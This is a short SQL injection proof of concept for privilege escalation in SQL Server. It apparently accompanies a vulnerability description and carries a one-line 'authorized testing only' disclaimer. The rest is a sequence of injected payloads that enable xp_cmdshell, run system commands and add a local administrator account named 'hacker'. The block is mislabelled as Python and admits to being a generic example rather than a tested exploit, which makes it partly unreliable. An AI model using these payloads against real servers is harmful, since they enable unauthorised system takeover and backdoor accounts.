Improper neutralization of special elements used in an sql command ('sql injection') in SQL Server allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
-- SQL Injection Proof of Concept for Privilege Escalation
-- Assume there is a vulnerable parameter in a stored procedure or dynamic SQL
-- Step 1: Attempt to inject a payload to enable advanced commands (e.g., xp_cmdshell)
-- Vulnerable Input: '; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
-- Step 2: Enable xp_cmdshell if disabled
-- Vulnerable Input: '; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
-- Step 3: Execute system command as the SQL Server service account (often SYSTEM)
-- Vulnerable Input: '; EXEC master..xp_cmdshell 'whoami'; --
-- Step 4: Add a new user to the administrators group
-- Vulnerable Input: '; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'; --
-- Vulnerable Input: '; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'; --
-- Note: This is a generic example based on the SQL Injection description.